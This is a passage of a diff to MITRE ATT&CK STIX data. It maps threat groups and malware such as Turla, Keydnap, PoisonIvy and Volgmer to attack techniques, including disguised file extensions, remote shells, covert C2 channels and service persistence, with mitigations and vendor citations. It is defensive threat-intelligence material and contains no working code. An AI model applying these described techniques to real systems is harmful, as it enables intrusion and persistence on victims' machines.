(2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/", + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "source_name": "OilRig ISMAgent July 2017" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d4895c50-334c-4d8b-b329-8613de602fa4", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "modified": "2020-03-20T14:28:39.733Z", + "source_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-20T14:28:39.733Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb4015bf-e7a4-4b26-8816-1f7a996adf4f", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "modified": "2020-03-20T15:22:53.973Z", + "source_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-20T15:22:53.973Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b9688abd-0f6d-4c76-8b73-d9fe7d11f07f", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.(Citation: synack 2016 review)", + "target_ref": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86", + "modified": "2020-03-20T15:25:55.205Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T15:25:55.205Z", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. 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Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a978832-f04d-4853-8094-58fc99e30ed1", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used Metasploit to perform reflective DLL injection in order to escalate privileges.(Citation: ESET Turla Mosquito May 2018)(Citation: Github Rapid7 Meterpreter Elevate)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-03-20T15:43:40.759Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T15:43:40.759Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito May 2018" + }, + { + "source_name": "Github Rapid7 Meterpreter Elevate", + "description": "Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. 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(2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "source_name": "Cybereason Oceanlotus May 2017" + }, + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8987cc5-08cb-484e-877f-438706f25915", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim\u2019s machine.(Citation: ESET TeleBots Oct 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:11:15.190Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T17:11:15.190Z", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). 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Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--149f62ba-b5c1-4dcb-b677-a45b72cf5d7b", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with VBScript.(Citation: Kaspersky Adwind Feb 2016)\t", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-20T17:30:56.508Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T17:30:56.508Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "source_name": "Kaspersky Adwind Feb 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--338c0224-eb50-4027-925a-637ee765b187", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files from SMB file servers.(Citation: Microsoft About BITS)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-03-20T18:09:11.618Z", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T18:09:11.618Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/windows/win32/bits/about-bits", + "description": "Microsoft. (2019, July 12). About BITS. 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Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e4a43af9-e8f0-42cf-a707-b2393efb44f5", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-03-20T19:03:04.500Z", + "source_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-20T19:03:04.500Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--56ad8893-2933-4b3b-a84d-026d9afb7dcb", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can be used to transfer files to/from victim machines on the local network.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-03-20T19:12:22.367Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T19:12:22.367Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. 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Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9f5c68fe-a32e-405d-ae58-0965f04855cb", + "description": "[PsExec](https://attack.mitre.org/software/S0029) can be used to download or upload a file over a network share.(Citation: PsExec Russinovich)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2020-03-20T19:20:27.670Z", + "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T19:20:27.670Z", + "external_references": [ + { + "source_name": "PsExec Russinovich", + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d466f2a4-4d31-4343-b56f-f2d132dc1d3e", + "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "modified": "2020-03-20T19:51:55.369Z", + "source_ref": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-20T19:51:55.369Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0e4407b6-fa67-48a7-97c5-f0bff5112912", + "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "modified": "2020-03-20T19:53:25.794Z", + "source_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-20T19:53:25.794Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3f37a188-b994-4191-aee1-56d0c60101e1", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:00:35.667Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T21:00:35.667Z", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd6055a0-7db2-4135-a87f-156354c97f0b", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has also obfuscated its C2 traffic as normal traffic to sites such as Github.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:04:48.879Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T21:04:48.879Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--954c6284-d1eb-48f1-96a4-1ed81b063d82", + "description": "[RTM](https://attack.mitre.org/software/S0148) has used an RSS feed on Livejournal to update a list of encrypted C2 server names. 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Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + }, + { + "url": "https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/", + "description": "Eisenkraft, K., Olshtein, A. (2019, October 17). Pony\u2019s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020.", + "source_name": "CheckPoint Redaman October 2019" + }, + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5bc22fc-16dd-4ab6-9599-828f4b33ec2b", + "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with RSA.(Citation: Bitdefender APT28 Dec 2015)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-20T22:59:10.037Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T22:59:10.037Z", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f3b8a97f-4e9c-4190-be08-467d136fc943", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with TLS.(Citation: ESET Sednit Part 2)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-20T23:11:09.649Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T23:11:09.649Z", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--68c412d7-9b6e-4a0e-a29f-69c1d8065156", + "description": "[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RSA.(Citation: Kaspersky Dridex May 2017)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-20T23:18:04.721Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T23:18:04.721Z", + "external_references": [ + { + "source_name": "Kaspersky Dridex May 2017", + "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8f56f7af-962a-4d2f-89db-7c1d89b79a32", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using RSA-2048.(Citation: ESET GreyEnergy Oct 2018)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-20T23:57:45.660Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-20T23:57:45.660Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--34e75ef5-b2de-41dc-96d3-2c5388c570be", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) uses RC4 to encrypt the message body of HTTP content.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2021-08-24T14:13:17.463Z", + "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-21T00:27:23.580Z", + "external_references": [ + { + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", + "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.", + "source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--76fd5c9b-2158-4372-85b6-a6961b68aaed", + "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "modified": "2020-03-21T00:43:01.580Z", + "source_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-21T00:43:01.580Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8d85cbc-a92e-4921-94bc-defa75becbf3", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "modified": "2020-03-23T15:40:51.089Z", + "source_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-23T15:40:51.089Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--de56c26f-ea38-4e6e-a933-fdf4cd1932dd", + "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "modified": "2020-03-24T14:09:11.791Z", + "source_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-03-24T14:09:11.791Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4afd3659-dcb7-4f0a-938f-91599a4c4861", + "description": "Develop and publish policies that define acceptable information to be stored in Confluence repositories.", + "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "modified": "2021-06-08T17:08:08.536Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-24T15:00:13.243Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--69e06021-a60c-49ac-840a-47ae154dbba8", + "description": "Consider periodic review of accounts and privileges for critical and sensitive SharePoint repositories.", + "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "modified": "2021-06-08T17:10:31.290Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-24T15:04:44.189Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--714ba6ae-8c53-4ce1-81f4-4ca81bbdb9b7", + "description": "Enforce the principle of least-privilege. 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[APT32](https://attack.mitre.org/groups/G0050) also creates a Windows service to establish persistence.(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-25T13:55:54.240Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T13:55:54.240Z", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017" + }, + { + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "source_name": "ESET OceanLotus Mar 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1888d04c-e3ba-47bc-adb3-ab8066678772", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service. [PoisonIvy](https://attack.mitre.org/software/S0012) also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.(Citation: Symantec Darkmoon Aug 2005)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-25T13:56:40.804Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T13:56:40.804Z", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1436e328-e692-4dbc-adfd-cf1024a98b2e", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some [Volgmer](https://attack.mitre.org/software/S0180) variants also install .dll files as services with names generated by a list of hard-coded strings.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-25T13:57:35.899Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T13:57:35.899Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017" + }, + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017" + }, + { + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cd63c221-6dc1-4b88-ab82-8f64493cbacd", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.[TYPEFRAME](https://attack.mitre.org/software/S0263) can also delete services from the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-25T13:58:19.146Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": 